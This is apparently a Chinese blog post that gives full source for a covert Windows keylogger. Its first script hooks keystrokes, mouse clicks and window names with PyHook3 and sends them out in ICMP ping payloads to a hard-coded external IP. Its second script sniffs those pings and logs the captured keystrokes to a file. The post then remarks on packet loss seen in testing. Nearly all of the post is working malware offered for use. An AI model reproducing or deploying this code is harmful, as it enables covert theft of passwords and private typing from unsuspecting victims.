这个PyHook3还是非常难装的,用了作者提供的虚拟机环境
# -*- coding: utf-8 -*-
#被监听端
import PyHook3
import os
from scapy.all import *
message='root'#以data中是否有root判断是不是被控端发来的,可能有别人正常地ping服务器
def OnMouseEvent(event):
global message
message += '\n'+event.WindowName+'\n'#窗口名称
if(len(message)>5):#message储存了一些后再发,这个随便,可以去掉
pinger = IP(dst="150.158.18.137") / ICMP(id=0x0001, seq=0x1) / message
send(pinger)
message='root'
return True
def OnKeyboardEvent(event):
global message
if((event.Ascii<32)or(event.Ascii>126)):
message+=' '
message += event.Key#按键名称
if(len(message)>5):
pinger = IP(dst="150.158.18.137") / ICMP(id=0x0001, seq=0x1) / message
send(pinger)
message='root'
if((event.Ascii<32)or(event.Ascii>126)):
message+=' '
return True
hm = PyHook3.HookManager()
hm.MouseAllButtonsDown = OnMouseEvent
hm.KeyDown = OnKeyboardEvent
hm.HookMouse()
hm.HookKeyboard()
if __name__ == '__main__':
import pythoncom
pythoncom.PumpMessages()
# -*- coding: utf-8 -*-
#监听端
from scapy.all import *
from scapy.layers.inet import ICMP
def main():
while True:
rx = sniff(filter="icmp", count=1)
v = rx[0].load.decode("utf-8")
if "root" in v:#检查data里面有没有root
print(v[4:],end='')
file_handle=open('1.txt',mode='a')
file_handle.writelines(v[4:])#去掉开头的root,写入文件
file_handle.close()
if __name__ == "__main__":
main()
测试结果是,在内网通信正常,当发给外网的服务器(接收端)丢包比较多。然后两种情况下监听端程序容易突然中断。
这个大佬实现效果比较好,丢包率低。以后有时间具体研究一下。
文章评论